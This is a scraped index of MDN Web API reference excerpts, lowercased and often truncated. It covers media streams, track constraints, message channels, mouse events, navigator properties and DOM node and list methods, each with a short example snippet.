their sourcebuffer.updating property is true.) example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //...
MediaStream.ended - Web APIs
WebAPIMediaStreamended
this property has been removed from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
MediaStream.getTrackById() - Web APIs
stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and streamsthe definition of 'gettrackbyid()' in that specification.
MediaStream.onremovetrack - Web APIs
stream.onremovetrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = "removed: " + event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onremovetrack' in that specification.
MediaStream - Web APIs
mediastream.getvideotracks() returns a list of the mediastreamtrack objects stored in the mediastream object that have their kind attribute set to "video".
MediaStreamAudioDestinationNode - Web APIs
number of inputs 1 number of outputs 0 channel count 2 channel count mode "explicit" channel count interpretation "speakers" constructor mediastreamaudiodestinationnode.mediastreamaudiodestinationnode() creates a new mediastreamaudiodestinationnode object instance.
MediaStreamAudioSourceNode - Web APIs
nction(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get ...
MediaStreamEvent.stream - Web APIs
syntax var stream = event.stream; example pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to this connection."); }; ...
MediaStreamEvent - Web APIs
examples pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to this connection."); }; ...
MediaStreamTrack: ended event - Web APIs
track.addeventlistener('ended', () => { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definitio...
MediaStreamTrack.label - Web APIs
the mediastreamtrack.label read-only property returns a domstring containing a user agent-assigned label that identifies the track source, as in "internal microphone".
MediaStreamTrack.onended - Web APIs
track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification.
MediaStreamTrack.onoverconstrained - Web APIs
example dc.onoverconstrained = function() { alert("overconstrained event detected!"); }; ...
MediaStreamTrackAudioSourceNode - Web APIs
nction(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get ...
MediaStreamTrackEvent() - Web APIs
it is case-sensitive and can be "addtrack" or "removetrack".
MediaStream Image Capture API - Web APIs
though a mediastream holds several types of tracks and provides multiple methods for retrieving them, the imagecapture constructor will throw a domexception of type notsupportederror if mediastreamtrack.kind is not "video".
MediaTrackConstraints.latency - Web APIs
latency is always prone to some variation due to hardware usage demands, network constraints, and so forth, so even in an "exact" match, some variation should be expected.
MediaTrackSettings.cursor - Web APIs
syntax cursorsetting = mediatracksettings.cursor; value the value of cursor comes from the cursorcaptureconstraint enumerated string type, and may have one of the following values: always the mouse should always be visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media captur...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media ca...
MediaTrackSupportedConstraints.channelCount - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture a...
MediaTrackSupportedConstraints.cursor - Web APIs
async function capturewithcursor() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymediaoptions.video.cursor = "always"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupp...
MediaTrackSupportedConstraints.deviceId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and s...
MediaTrackSupportedConstraints.displaySurface - Web APIs
async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.displaysurface' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media captu...
MediaTrackSupportedConstraints.facingMode - Web APIs
example html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe ...
MediaTrackSupportedConstraints.groupId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and st...
MediaTrackSupportedConstraints.height - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and str...
MediaTrackSupportedConstraints.latency - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and st...
MediaTrackSupportedConstraints.logicalSurface - Web APIs
async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.logicalsurface) { displaymediaoptions.video.logicalsurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.logicalsurface' in that specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media c...
MediaTrackSupportedConstraints.sampleRate - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and...
MediaTrackSupportedConstraints.sampleSize - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and...
MediaTrackSupportedConstraints.volume - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().volume) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result ...
MediaTrackSupportedConstraints.width - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and stre...
Media Session API - Web APIs
for example, to set the current state of the media session to playing: navigator.mediasession.playbackstate = "playing"; interfaces mediametadata allows a web page to provide rich media metadata, for display in a platform ui.
MessageChannel() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel.port1 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel - Web APIs
var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on gi...
MessagePort.onmessage - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort.postMessage() - Web APIs
var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort - Web APIs
var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on gi...
Metadata.modificationTime - Web APIs
workingdirectory.getfile("tmp/workfile.json", { create: true }, function(fileentry) { fileentry.getmetadata(function(metadata) { if ((new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(newentry) { fileentry = newentry; }); }); } }); }, handleerror)...
Metadata.size - Web APIs
WebAPIMetadatasize
workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror); this api has no official w3c or whatwg specification.
MimeTypeArray - Web APIs
var mimetypes = navigator.mimetype; var flashplugin = mimetypes['video/x-flv']; if (typeof flashplugin === "undefined") { var vid = document.createelement('video'); // use vid.canplaytype() to test for a supported mime type.
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.altkey' in that specification.
MouseEvent.ctrlKey - Web APIs
html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
MouseEvent.getModifierState() - Web APIs
the value must be one of the keyboardevent.key values which represent modifier keys or "accel".
MouseEvent.initMouseEvent() - Web APIs
example html <div style="background:red; width:180px; padding:10px;"> <div id="out"></div> <input type="text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, wi...
MouseEvent.metaKey - Web APIs
html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
MouseEvent.movementX - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comm...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in ...
MouseEvent.region - Web APIs
WebAPIMouseEventregion
<canvas id="canvas"></canvas> <script> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "circle"}); canvas.addeventlistener("mousemove", function(event){ if(event.region) { console.log("hit region: " + event.region); } }); </script> ...
MouseEvent.shiftKey - Web APIs
html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
MutationObserver.MutationObserver() - Web APIs
const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true, // omit (or set to false) to observe only changes to the parent node subtree: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); the desired subtree is located by finding an element with the id someelement.
MutationObserver.disconnect() - Web APIs
const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later...
MutationObserver.takeRecords() - Web APIs
const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop observing...
MutationRecord - Web APIs
properties property type description mutationrecord.type string returns "attributes" if the mutation was an attribute mutation, "characterdata" if it was a mutation to a characterdata node, and "childlist" if it was a mutation to the tree of nodes.
NDEFRecord.encoding - Web APIs
syntax ndefrecord.encoding value a usvstring which can be one of the following: "utf-8", "utf-16", "utf-16le" or "utf-16be".
Navigator.mediaCapabilities - Web APIs
examples navigator.mediacapabilities.decodinginfo({ type : 'file', audio : { contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('this configuration is ' + (result.supported ?
Navigator.mediaSession - Web APIs
if ("mediasession" in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification.
Navigator.mozIsLocallyAvailable() - Web APIs
example var available = navigator.mozislocallyavailable("my-image-file.png", true); if (available) { /* the offline resource is present */ } else { console.log("certain needed resources are not available offline"); } specifications not part of any specifications.
Navigator.oscpu - Web APIs
WebAPINavigatoroscpu
ows ce windowsce x.y1 windows 64-bit (64-bit build) windows nt x.y; win64; x64 windows 64-bit (32-bit build) windows nt x.y; wow64 windows 32-bit windows nt x.y mac os x (ppc build) powerpc mac os x version x.y mac os x (i386/x64 build) intel mac os x or macos version x.y linux 64-bit (32-bit build) output of uname -s plus "i686 on x86_64" linux output of uname -sm x.y refers to the version of the operating system example function osinfo() { alert(window.navigator.oscpu); } osinfo(); // alerts "windows nt 6.0" for example usage notes unless your code is privileged (chrome or at least has the universalbrowserread privilege), it may get the value of the general.oscpu.override preference in...
Navigator.productSub - Web APIs
example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.navigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie, this property returns undefined.
Navigator.registerContentHandler() - Web APIs
example navigator.registercontenthandler( "application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported.
Navigator.xr - Web APIs
WebAPINavigatorxr
to determine if webxr is available, you can do something like this: if ("xr" in window.navigator) { /* webxr can be used!
NavigatorID.userAgent - Web APIs
gecko-based browsers comply with the following general structure: useragent = appcodename/appversion number (platform; security; os-or-cpu; localization; rv: revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" specifications specification status comment html living standardthe definition of 'navigatorid.useragent' in that specification.
NavigatorLanguage.languages - Web APIs
syntax preferredlanguages = globalobj.navigator.languages examples navigator.language //"en-us" navigator.languages //["en-us", "zh-cn", "ja-jp"] specifications specification status comment html living standardthe definition of 'navigatorlanguage: languages' in that specification.
Navigator.onLine - Web APIs
you could be getting false positives, such as in cases where the computer is running a virtualization software that has virtual ethernet adapters that are always "connected." therefore, if you really want to determine the online status of the browser, you should develop additional means for checking.
NetworkInformation.type - Web APIs
syntax var type = netinfo.type return value an enumerated value that is one of the following values: "bluetooth" "cellular" "ethernet" "none" "wifi" "wimax" "other" "unknown" specifications specification status comment network information apithe definition of 'type' in that specification.
Network Information API - Web APIs
var connection = navigator.connection || navigator.mozconnection || navigator.webkitconnection; var type = connection.effectivetype; function updateconnectionstatus() { console.log("connection type changed from " + type + " to " + connection.effectivetype); type = connection.effectivetype; } connection.addeventlistener('change', updateconnectionstatus); preload large resources the connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory.
Node.appendChild() - Web APIs
WebAPINodeappendChild
example // create a new paragraph element, and append it to the end of the document body let p = document.createelement("p"); document.body.appendchild(p); specifications specification status comment domthe definition of 'node.appendchild()' in that specification.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
example let p = document.getelementbyid("para1") let p_prime = p.clonenode(true) notes cloning a node copies all of its attributes and their values, including intrinsic (inline) listeners.
Node.isDefaultNamespace() - Web APIs
example var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var el = document.getelementsbytagnamens(xulns, 'textbox')[0]; alert(el.isdefaultnamespace(xulns)); // true specifications specification status comment domthe definition of 'node: isdefaultnamespace' in that specification.
Node.isSupported() - Web APIs
WebAPINodeisSupported
example <div id="doc"> </div> <script> // get an element and check to see if its supports the dom2 html module.
Node.lastChild - Web APIs
WebAPINodelastChild
syntax var childnode = node.lastchild; example var tr = document.getelementbyid("row1"); var corner_td = tr.lastchild; specifications specification status comment domthe definition of 'node.lastchild' in that specification.
Node.nextSibling - Web APIs
WebAPINodenextSibling
example <div id="div-1">here is div-1</div> <div id="div-2">here is div-2</div> <script> var el = document.getelementbyid('div-1').nextsibling, i = 1; console.group('siblings of div-1:'); while (el) { console.log(i, '.
Node.ownerDocument - Web APIs
example // given a node "p", get the top-level html // child of the document object var d = p.ownerdocument; var html = d.documentelement; specifications specification status comment domthe definition of 'node: ownerdocument' in that specification.
Node.parentElement - Web APIs
example if (node.parentelement) { node.parentelement.style.color = "red"; } specifications specification status comment domthe definition of 'parentelement' in that specification.
Node.previousSibling - Web APIs
syntax previousnode = node.previoussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").previoussibling); // <img id="b0"> console.log(document.getelementbyid("b2").previoussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup.
NodeFilter - Web APIs
this is treated as "skip this node but not its children".
NodeList.entries() - Web APIs
WebAPINodeListentries
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var entry of list.entries()) { console.log(entry); } results in: array [ 0, <p> ] array [ 1, #text "hey" ] array [ 2, <span> ] ...
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
example let node = document.createelement("div"); let kid1 = document.createelement("p"); let kid2 = document.createtextnode("hey"); let kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); let list = node.childnodes; list.foreach( function(currentvalue, currentindex, listobj) { console.log(currentvalue + ', ' + currentindex + ', ' + this); }, 'mythisarg' ); the above ...
NodeList.item() - Web APIs
WebAPINodeListitem
alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification.
NodeList.keys() - Web APIs
WebAPINodeListkeys
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var key of list.keys()) { console.log(key); } the result is: 0 1 2 ...
NodeList.length - Web APIs
WebAPINodeListlength
// all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
NodeList.values() - Web APIs
WebAPINodeListvalues
example var node = document.createelement("div"); var kid1 = document.createelement("p"); var kid2 = document.createtextnode("hey"); var kid3 = document.createelement("span"); node.appendchild(kid1); node.appendchild(kid2); node.appendchild(kid3); var list = node.childnodes; // using for..of for(var value of list.values()) { console.log(value); } the result is: <p> #text "hey" <span> ...
NodeList - Web APIs
WebAPINodeList
for example, node.childnodes is live: const parent = document.getelementbyid('parent'); let child_nodes = parent.childnodes; console.log(child_nodes.length); // let's assume "2" parent.appendchild(document.createelement('div')); console.log(child_nodes.length); // outputs "3" static nodelists in other cases, the nodelist is static, where any changes in the dom does not affect the content of the collection.
NotificationEvent.action - Web APIs
example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'a...
NotificationEvent.notification - Web APIs
console.log('notification tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of '...
NotificationEvent - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of '...
OES_standard_derivatives - Web APIs
glsl built-in functions the following new functions can be used in glsl shader code, if this extension is enabled: gentype dfdx(gentype) gentype dfdy(gentype) gentype fwidth(gentype) examples enabling the extensions: gl.getextension('oes_standard_derivatives'); gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ...
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OES_vertex_array_object.createVertexArrayOES() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OffscreenCanvas.transferToImageBitmap() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
OscillatorNode.type - Web APIs
square a square wave with a duty cycle of 0.5; that is, the signal is "high" for half of each period.
PannerNode.distanceModel - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.maxDistance - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.panningModel - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.setOrientation() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.setPosition() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PannerNode.setVelocity() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
ParentNode.firstElementChild - Web APIs
syntax var element = node.firstelementchild; example <ul id="foo"> <li>first (1)</li> <li>second (2)</li> <li>third (3)</li> </ul> <script> var foo = document.getelementbyid('foo'); // yields: first (1) console.log(foo.firstelementchild.textcontent); </script> polyfill for ie8, ie9 and safari // overwrites native 'firstelementchild' prototype.
ParentNode.lastElementChild - Web APIs
syntax const element = node.lastelementchild example <ul id="foo"> <li>first (1)</li> <li>second (2)</li> <li>third (3)</li> </ul> <script> const foo = document.getelementbyid('foo'); console.log(foo.lastelementchild.textcontent); // logs: third (3) </script> polyfill the code below adds support of lastelementchild() to document and documentfragment in internet explorer and safari.
PasswordCredential - Web APIs
